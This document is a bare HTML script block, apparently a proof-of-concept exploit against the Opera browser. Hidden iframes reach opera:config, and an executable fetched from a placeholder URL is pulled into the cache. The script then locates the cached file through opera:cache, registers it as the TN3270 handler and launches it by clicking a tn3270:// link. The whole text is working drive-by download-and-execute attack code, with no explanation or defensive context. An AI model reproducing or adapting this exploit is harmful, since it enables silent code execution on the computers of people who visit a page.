<script>
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.appendChild(blank_iframe);
blank_iframe_window.eval
	("config_iframe = document.createElement('iframe');\
	config_iframe.setAttribute('id', 'config_iframe_window');\
	config_iframe.src = 'opera:config';\
	document.appendChild(config_iframe);\
	app_iframe = document.createElement('script');\
	cache_iframe = document.createElement('iframe');\
	app_iframe.src = 'http://path/to/exe';\
	app_iframe.onload = function ()\
	{\
		cache_iframe.src = 'opera:cache';\
		cache_iframe.onload = function ()\
		{\
			cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
			var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
			filename = cache.match(re);\
			config_iframe_window.eval\
			(\"\
			opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
			app_link = document.createElement('a');\
			app_link.setAttribute('href', 'tn3270://nothing');\
			app_link.click();\
			setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
			\");\
		};\
		document.appendChild(cache_iframe);\
	};\
	document.appendChild(app_iframe);");
</script>

app_iframe.src = 'http://path/to/exe';\